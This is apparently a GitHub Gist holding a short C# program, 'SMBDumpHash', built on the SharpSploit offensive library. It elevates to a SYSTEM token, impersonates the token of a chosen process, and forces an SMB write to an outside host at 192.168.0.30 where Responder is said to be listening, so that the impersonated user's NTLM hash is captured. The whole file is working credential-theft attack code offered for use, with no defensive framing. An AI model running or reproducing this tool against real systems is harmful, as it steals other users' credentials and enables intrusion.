Last active
February 20, 2019 15:05
-
-
Save T0w3ntum/8d02ce6981bbb3ab4f047f106662b715 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using SharpSploit.Credentials; | |
using System.Management; | |
using System.IO; | |
class SMBDumpHash | |
{ | |
static void Main(string[] args) | |
{ | |
if (args.Length == 0) | |
{ | |
Console.WriteLine("Process ID Required: ./sploit.exe <Pid>"); | |
return; | |
} | |
Int32.TryParse(args[0], out int Pid); | |
Tokens t = new Tokens(); | |
// I tried without first getting the system token but didn't seem to work. | |
if(t.GetSystem()) | |
{ | |
// Grab token from supplied PID | |
if(t.ImpersonateProcess((uint)Pid)) | |
{ | |
try | |
{ | |
// Make sure Responder is running. | |
using (StreamWriter sw = new StreamWriter("\\\\192.168.0.30\\random\\text.txt")) | |
{ | |
sw.WriteLine("abcdefghijklmnopqrstuvwxyz"); | |
} | |
} | |
// We WANT this exception. | |
catch ( UnauthorizedAccessException ) | |
{ | |
Console.WriteLine("[+] Should have a hash"); | |
} | |
catch ( IOException ) | |
{ | |
Console.WriteLine("[-] Network Access Denied for process owner"); | |
} | |
t.RevertToSelf(); | |
} | |
else | |
{ | |
Console.WriteLine("Unable to impersonate user"); | |
t.RevertToSelf(); | |
} | |
} | |
else | |
{ | |
Console.WriteLine("Unable to Get System"); | |
t.RevertToSelf(); | |
} | |
return; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment